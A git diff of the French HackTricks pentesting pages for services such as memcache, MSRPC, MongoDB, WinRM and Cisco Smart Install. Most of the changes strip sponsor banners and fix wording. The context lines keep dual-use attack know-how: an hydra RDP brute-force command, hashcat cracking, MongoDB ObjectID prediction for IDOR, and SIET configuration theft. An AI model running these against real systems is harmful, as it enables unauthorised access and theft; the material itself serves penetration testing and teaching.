talk](https://youtu.be/t_aw1mDNhzI?t=202). **Port par défaut :** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` @@ -301,12 +293,4 @@ Name: Enumeration Description: Perform basic enumeration of an RMI service Command: rmg enum {IP} {PORT} ``` -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/11211-memcache/memcache-commands.md b/src/network-services-pentesting/11211-memcache/memcache-commands.md index 156e059cc..53b376bef 100644 --- a/src/network-services-pentesting/11211-memcache/memcache-commands.md +++ b/src/network-services-pentesting/11211-memcache/memcache-commands.md @@ -2,19 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Commands Cheat-Sheet **From** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached) -Les commandes supportées (les officielles et certaines non officielles) sont documentées dans le document [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt). +Les commandes supportées (les officielles et quelques non officielles) sont documentées dans le document [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt). Malheureusement, la description de la syntaxe n'est pas vraiment claire et une simple commande d'aide listant les commandes existantes serait beaucoup mieux. Voici un aperçu des commandes que vous pouvez trouver dans la [source](https://github.com/memcached/memcached) (à partir du 19.08.2016) : -| Command | Description | Exemple | +| Command | Description | Example | | -------------------- | --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- | | get | Lit une valeur | `get mykey` | | set | Définit une clé sans condition |

set mykey <flags> <ttl> <size>

<p>Assurez-vous d'utiliser \r\n comme sauts de ligne lors de l'utilisation des outils CLI Unix. Par exemple</p> printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211

| @@ -25,7 +22,7 @@ Malheureusement, la description de la syntaxe n'est pas vraiment claire et une s | incr | Incrémente la valeur numérique de la clé d'un nombre donné | `incr mykey 2` | | decr | Décrémente la valeur numérique de la clé d'un nombre donné | `decr mykey 5` | | delete | Supprime une clé existante | `delete mykey` | -| flush_all | Invalide tous les éléments immédiatement | `flush_all` | +| flush_all | Invalide tous les éléments immédiatement | `flush_all` | | flush_all | Invalide tous les éléments dans n secondes | `flush_all 900` | | stats | Imprime des statistiques générales | `stats` | | | Imprime des statistiques de mémoire | `stats slabs` | @@ -33,7 +30,7 @@ Malheureusement, la description de la syntaxe n'est pas vraiment claire et une s | | Imprime des informations sur les éléments | `stats items` | | | | `stats detail` | | | | `stats sizes` | -| | Réinitialise les compteurs de statistiques | `stats reset` | +| | Réinitialise les compteurs de statistiques | `stats reset` | | lru_crawler metadump | Dump (la plupart) des métadonnées pour (tous) les éléments dans le cache | `lru_crawler metadump all` | | version | Imprime la version du serveur. | `version` | | verbosity | Augmente le niveau de journalisation | `verbosity` | @@ -118,10 +115,6 @@ STAT items:2:age 1405 [...] END ``` -Cela aide au moins à voir si des clés sont utilisées. Pour extraire les noms de clés d'un script PHP qui effectue déjà l'accès à memcache, vous pouvez utiliser le code PHP de [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html). - -
- -{% embed url="https://websec.nl/" %} +Cela aide au moins à voir si des clés sont utilisées. Pour extraire les noms de clés d'un script PHP qui effectue déjà l'accès à memcache, vous pouvez utiliser le code PHP de [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/113-pentesting-ident.md b/src/network-services-pentesting/113-pentesting-ident.md index 1f4456d35..398b84560 100644 --- a/src/network-services-pentesting/113-pentesting-ident.md +++ b/src/network-services-pentesting/113-pentesting-ident.md @@ -2,18 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -
- -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez un accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %} - ## Informations de base Le **protocole Ident** est utilisé sur l'**Internet** pour associer une **connexion TCP** à un utilisateur spécifique. Conçu à l'origine pour aider à la **gestion des réseaux** et à la **sécurité**, il fonctionne en permettant à un serveur d'interroger un client sur le port 113 pour demander des informations sur l'utilisateur d'une connexion TCP particulière. -Cependant, en raison des préoccupations modernes en matière de confidentialité et du potentiel d'abus, son utilisation a diminué car il peut révéler involontairement des informations sur l'utilisateur à des parties non autorisées. Des mesures de sécurité renforcées, telles que des connexions cryptées et des contrôles d'accès stricts, sont recommandées pour atténuer ces risques. +Cependant, en raison des préoccupations modernes en matière de confidentialité et du potentiel d'abus, son utilisation a diminué car elle peut involontairement révéler des informations sur l'utilisateur à des parties non autorisées. Des mesures de sécurité renforcées, telles que des connexions cryptées et des contrôles d'accès stricts, sont recommandées pour atténuer ces risques. **Port par défaut :** 113 ``` @@ -73,13 +66,6 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) identd.conf -
- -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) pour créer facilement et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Obtenez un accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %} - ## Commandes Automatiques HackTricks ``` Protocol_Name: Ident #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/135-pentesting-msrpc.md b/src/network-services-pentesting/135-pentesting-msrpc.md index ec721e365..59f44f81a 100644 --- a/src/network-services-pentesting/135-pentesting-msrpc.md +++ b/src/network-services-pentesting/135-pentesting-msrpc.md @@ -2,26 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus du Hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de Hacking en Temps Réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières Annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - -## Informations de Base +## Informations de base Le protocole Microsoft Remote Procedure Call (MSRPC), un modèle client-serveur permettant à un programme de demander un service à un programme situé sur un autre ordinateur sans comprendre les spécificités du réseau, a été initialement dérivé d'un logiciel open-source et développé et protégé par Microsoft. -Le mappage de points de terminaison RPC peut être accessible via le port TCP et UDP 135, SMB sur TCP 139 et 445 (avec une session nulle ou authentifiée), et en tant que service web sur le port TCP 593. +Le mappage des points de terminaison RPC peut être accessible via le port TCP et UDP 135, SMB sur TCP 139 et 445 (avec une session nulle ou authentifiée), et en tant que service web sur le port TCP 593. ``` 135/tcp open msrpc Microsoft Windows RPC ``` @@ -53,36 +38,36 @@ Toutes les options sauf `tcp_dcerpc_auditor` sont spécifiquement conçues pour #### Interfaces RPC notables -- **IFID** : 12345778-1234-abcd-ef00-0123456789ab -- **Named Pipe** : `\pipe\lsarpc` -- **Description** : Interface LSA, utilisée pour énumérer les utilisateurs. -- **IFID** : 3919286a-b10c-11d0-9ba8-00c04fd92ef5 -- **Named Pipe** : `\pipe\lsarpc` -- **Description** : Interface LSA Directory Services (DS), utilisée pour énumérer les domaines et les relations de confiance. -- **IFID** : 12345778-1234-abcd-ef00-0123456789ac -- **Named Pipe** : `\pipe\samr` -- **Description** : Interface LSA SAMR, utilisée pour accéder aux éléments de la base de données SAM publique (par exemple, les noms d'utilisateur) et pour forcer les mots de passe des utilisateurs, indépendamment de la politique de verrouillage de compte. -- **IFID** : 1ff70682-0a51-30e8-076d-740be8cee98b -- **Named Pipe** : `\pipe\atsvc` -- **Description** : Planificateur de tâches, utilisé pour exécuter des commandes à distance. -- **IFID** : 338cd001-2244-31f1-aaaa-900038001003 -- **Named Pipe** : `\pipe\winreg` -- **Description** : Service de registre à distance, utilisé pour accéder et modifier le registre système. -- **IFID** : 367abb81-9844-35f1-ad32-98f038001003 -- **Named Pipe** : `\pipe\svcctl` -- **Description** : Gestionnaire de contrôle de service et services serveur, utilisés pour démarrer et arrêter des services à distance et exécuter des commandes. -- **IFID** : 4b324fc8-1670-01d3-1278-5a47bf6ee188 -- **Named Pipe** : `\pipe\srvsvc` -- **Description** : Gestionnaire de contrôle de service et services serveur, utilisés pour démarrer et arrêter des services à distance et exécuter des commandes. -- **IFID** : 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 -- **Named Pipe** : `\pipe\epmapper` -- **Description** : Interface DCOM, utilisée pour le craquage de mots de passe par force brute et la collecte d'informations via WM. +- **IFID**: 12345778-1234-abcd-ef00-0123456789ab +- **Named Pipe**: `\pipe\lsarpc` +- **Description**: Interface LSA, utilisée pour énumérer les utilisateurs. +- **IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5 +- **Named Pipe**: `\pipe\lsarpc` +- **Description**: Interface LSA Directory Services (DS), utilisée pour énumérer les domaines et les relations de confiance. +- **IFID**: 12345778-1234-abcd-ef00-0123456789ac +- **Named Pipe**: `\pipe\samr` +- **Description**: Interface LSA SAMR, utilisée pour accéder aux éléments de la base de données SAM publique (par exemple, les noms d'utilisateur) et pour forcer les mots de passe des utilisateurs, indépendamment de la politique de verrouillage de compte. +- **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b +- **Named Pipe**: `\pipe\atsvc` +- **Description**: Planificateur de tâches, utilisé pour exécuter des commandes à distance. +- **IFID**: 338cd001-2244-31f1-aaaa-900038001003 +- **Named Pipe**: `\pipe\winreg` +- **Description**: Service de registre à distance, utilisé pour accéder et modifier le registre système. +- **IFID**: 367abb81-9844-35f1-ad32-98f038001003 +- **Named Pipe**: `\pipe\svcctl` +- **Description**: Gestionnaire de contrôle de service et services serveur, utilisés pour démarrer et arrêter des services à distance et exécuter des commandes. +- **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188 +- **Named Pipe**: `\pipe\srvsvc` +- **Description**: Gestionnaire de contrôle de service et services serveur, utilisés pour démarrer et arrêter des services à distance et exécuter des commandes. +- **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 +- **Named Pipe**: `\pipe\epmapper` +- **Description**: Interface DCOM, utilisée pour le craquage de mots de passe par force brute et la collecte d'informations via WM. ### Identification des adresses IP En utilisant [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), provenant de [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), il est possible d'abuser de la méthode _**ServerAlive2**_ à l'intérieur de l'interface _**IOXIDResolver**_. -Cette méthode a été utilisée pour obtenir des informations sur l'interface sous forme d'adresse **IPv6** de la boîte HTB _APT_. Voir [ici](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) pour le rapport 0xdf APT, il inclut une méthode alternative utilisant rpcmap.py de [Impacket](https://github.com/SecureAuthCorp/impacket/) avec _stringbinding_ (voir ci-dessus). +Cette méthode a été utilisée pour obtenir des informations sur l'interface sous forme d'adresse **IPv6** de la boîte HTB _APT_. Voir [ici](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) pour le rapport 0xdf APT, qui inclut une méthode alternative utilisant rpcmap.py de [Impacket](https://github.com/SecureAuthCorp/impacket/) avec _stringbinding_ (voir ci-dessus). ### Exécution d'un RCE avec des identifiants valides @@ -104,19 +89,4 @@ Le **rpcdump.exe** de [rpctools](https://resources.oreilly.com/examples/97805965 - [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/) - [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/) -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus de Hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de Hack en Temps Réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières Annonces**\ -Restez informé des nouveaux programmes de récompenses de bugs lancés et des mises à jour cruciales de la plateforme - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui ! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md b/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md index 1e7843bb3..45c5f418f 100644 --- a/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md +++ b/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md @@ -2,15 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -
-**Astuce de bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## Informations de base -Vous pouvez en apprendre davantage sur RabbitMQ dans [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\ +Vous pouvez en savoir plus sur RabbitMQ dans [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\ Dans ce port, vous pouvez trouver la console web de gestion RabbitMQ si le [plugin de gestion](https://www.rabbitmq.com/management.html) est activé.\ La page principale devrait ressembler à ceci : @@ -51,10 +47,6 @@ hashcat -m 1420 --hex-salt hash.txt wordlist - `port:15672 http` -
-**Astuce de bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/27017-27018-mongodb.md b/src/network-services-pentesting/27017-27018-mongodb.md index 96a2be326..84c0d1ec1 100644 --- a/src/network-services-pentesting/27017-27018-mongodb.md +++ b/src/network-services-pentesting/27017-27018-mongodb.md @@ -2,22 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus du Hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de Hacking en Temps Réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières Annonces**\ -Restez informé des nouveaux programmes de récompenses pour bugs lancés et des mises à jour cruciales des plateformes - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - -## Informations de Base +## Informations de base **MongoDB** est un système de gestion de base de données **open source** qui utilise un **modèle de base de données orienté document** pour gérer diverses formes de données. Il offre flexibilité et évolutivité pour gérer des données non structurées ou semi-structurées dans des applications telles que l'analyse de big data et la gestion de contenu. **Port par défaut :** 27017, 27018 ``` @@ -84,7 +69,7 @@ grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not Exemple [d'ici](https://techkranti.com/idor-through-mongodb-object-ids-prediction/). -Les ID d'objet Mongo sont des chaînes **hexadécimales de 12 octets** : +Les ID d'objets Mongo sont des chaînes **hexadécimales de 12 octets** : ![http://techidiocy.com/_id-objectid-in-mongodb/](../images/id-and-ObjectIds-in-MongoDB.png) @@ -95,9 +80,9 @@ Par exemple, voici comment nous pouvons décomposer un ID d'objet réel renvoyé 3. 2500 : ID de processus 4. 314019 : Un compteur incrémental -Parmi les éléments ci-dessus, l'identifiant de machine restera le même tant que la base de données fonctionne sur la même machine physique/virtuelle. L'ID de processus ne changera que si le processus MongoDB est redémarré. L'horodatage sera mis à jour chaque seconde. Le seul défi pour deviner les ID d'objet en incrémentant simplement les valeurs du compteur et de l'horodatage est le fait que MongoDB génère des ID d'objet et attribue des ID d'objet au niveau système. +Parmi les éléments ci-dessus, l'identifiant de machine restera le même tant que la base de données fonctionne sur la même machine physique/virtuelle. L'ID de processus ne changera que si le processus MongoDB est redémarré. L'horodatage sera mis à jour chaque seconde. Le seul défi pour deviner les ID d'objets en incrémentant simplement les valeurs du compteur et de l'horodatage est le fait que Mongo DB génère des ID d'objets et attribue des ID d'objets au niveau système. -L'outil [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), donné un ID d'objet de départ (vous pouvez créer un compte et obtenir un ID de départ), renvoie environ 1000 ID d'objet probables qui pourraient avoir été attribués aux objets suivants, donc vous devez juste les bruteforcer. +L'outil [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), donné un ID d'objet de départ (vous pouvez créer un compte et obtenir un ID de départ), renvoie environ 1000 ID d'objets probables qui auraient pu être attribués aux objets suivants, donc vous devez juste les bruteforcer. ## Post @@ -105,19 +90,4 @@ Si vous êtes root, vous pouvez **modifier** le fichier **mongodb.conf** afin qu --- -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus de Hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de Hack en Temps Réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières Annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui ! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/4786-cisco-smart-install.md b/src/network-services-pentesting/4786-cisco-smart-install.md index db6d44d74..b0fb54768 100644 --- a/src/network-services-pentesting/4786-cisco-smart-install.md +++ b/src/network-services-pentesting/4786-cisco-smart-install.md @@ -2,9 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Informations de base @@ -23,7 +20,7 @@ PORT STATE SERVICE - redémarrer de force l'appareil - appeler RCE -- voler les configurations des équipements réseau. +- voler les configurations de l'équipement réseau. **Le** [**SIET**](https://github.com/frostbits-security/SIET) **(Outil d'Exploitation Smart Install)** a été développé pour exploiter cette vulnérabilité, il vous permet d'abuser de Cisco Smart Install. Dans cet article, je vais vous montrer comment vous pouvez lire un fichier de configuration matériel réseau légitime. La configuration de l'exfiltration peut être précieuse pour un pentester car elle permettra d'apprendre les caractéristiques uniques du réseau. Et cela facilitera la vie et permettra de trouver de nouveaux vecteurs pour une attaque. @@ -39,8 +36,5 @@ La configuration du switch **10.10.100.10** sera dans le dossier **tftp/**
-
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/4840-pentesting-opc-ua.md b/src/network-services-pentesting/4840-pentesting-opc-ua.md index df5be4f8e..002d0fe00 100644 --- a/src/network-services-pentesting/4840-pentesting-opc-ua.md +++ b/src/network-services-pentesting/4840-pentesting-opc-ua.md @@ -2,19 +2,12 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos plus de 20 outils personnalisés pour cartographier la surface d'attaque, identifier les problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Informations de base **OPC UA**, qui signifie **Open Platform Communications Unified Access**, est un protocole open-source crucial utilisé dans diverses industries comme la fabrication, l'énergie, l'aérospatiale et la défense pour l'échange de données et le contrôle des équipements. Il permet de manière unique aux équipements de différents fournisseurs de communiquer, en particulier avec les PLC. -Sa configuration permet de fortes mesures de sécurité, mais souvent, pour la compatibilité avec les appareils plus anciens, celles-ci sont réduites, exposant les systèmes à des risques. De plus, trouver des services OPC UA peut être délicat car les scanners de réseau peuvent ne pas les détecter s'ils sont sur des ports non standards. +Sa configuration permet des mesures de sécurité robustes, mais souvent, pour la compatibilité avec les appareils plus anciens, celles-ci sont réduites, exposant les systèmes à des risques. De plus, trouver des services OPC UA peut être délicat car les scanners réseau peuvent ne pas les détecter s'ils sont sur des ports non standards. **Port par défaut :** 4840 ```text @@ -29,7 +22,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port ``` ### Exploiter les vulnérabilités -Si des vulnérabilités de contournement d'authentification sont trouvées, vous pouvez configurer un [client OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) en conséquence et voir ce à quoi vous pouvez accéder. Cela peut permettre tout, de la simple lecture des valeurs de processus à l'exploitation réelle d'équipements industriels lourds. +Si des vulnérabilités de contournement d'authentification sont trouvées, vous pouvez configurer un [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) en conséquence et voir ce à quoi vous pouvez accéder. Cela peut permettre tout, de la simple lecture des valeurs de processus à l'exploitation réelle d'équipements industriels lourds. Pour avoir une idée de l'appareil auquel vous avez accès, lisez les valeurs du nœud "ServerStatus" dans l'espace d'adresses et recherchez un manuel d'utilisation sur Google. @@ -41,12 +34,5 @@ Pour avoir une idée de l'appareil auquel vous avez accès, lisez les valeurs du - [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/) -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/512-pentesting-rexec.md b/src/network-services-pentesting/512-pentesting-rexec.md index af1a66ae5..dd960a591 100644 --- a/src/network-services-pentesting/512-pentesting-rexec.md +++ b/src/network-services-pentesting/512-pentesting-rexec.md @@ -2,13 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos plus de 20 outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Informations de base @@ -21,12 +14,5 @@ PORT STATE SERVICE ``` ### [**Brute-force**](../generic-hacking/brute-force.md#rexec) -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, identifier les problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index f9ccf44fb..ba7ad85e8 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -2,21 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus sur le hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - ## WinRM [Windows Remote Management (WinRM)]() est mis en avant comme un **protocole par Microsoft** qui permet la **gestion à distance des systèmes Windows** via HTTP(S), en utilisant SOAP dans le processus. Il est fondamentalement alimenté par WMI, se présentant comme une interface basée sur HTTP pour les opérations WMI. @@ -26,7 +11,7 @@ La présence de WinRM sur une machine permet une administration à distance simp - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** -Un port ouvert de la liste ci-dessus signifie que WinRM a été configuré, permettant ainsi des tentatives d'initiation d'une session à distance. +Un port ouvert dans la liste ci-dessus signifie que WinRM a été configuré, permettant ainsi des tentatives d'initiation d'une session à distance. ### **Initiation d'une session WinRM** @@ -122,7 +107,7 @@ $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessi #And restore it at any moment doing Enter-PSSession -Session $sess1 ``` -À l'intérieur de ces sessions, vous pouvez charger des scripts PS en utilisant _Invoke-Command_. +Dans ces sessions, vous pouvez charger des scripts PS en utilisant _Invoke-Command_. ```powershell Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` @@ -137,24 +122,9 @@ Essayez sur le client (info de [ici](https://serverfault.com/questions/657918/re winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ``` -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus sur le hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières annonces**\ -Restez informé des nouvelles récompenses de bugs lancées et des mises à jour cruciales des plateformes - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - ## Connexion WinRM sous Linux -### Brute Force +### Force brute Soyez prudent, le brute-forcing de winrm pourrait bloquer les utilisateurs. ```ruby @@ -291,19 +261,6 @@ Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ``` -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus du Hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de Hacking en Temps Réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières Annonces**\ -Restez informé des nouvelles chasses aux bugs lancées et des mises à jour cruciales des plateformes - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! +​ {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/6000-pentesting-x11.md b/src/network-services-pentesting/6000-pentesting-x11.md index 05f29db29..389302235 100644 --- a/src/network-services-pentesting/6000-pentesting-x11.md +++ b/src/network-services-pentesting/6000-pentesting-x11.md @@ -2,24 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
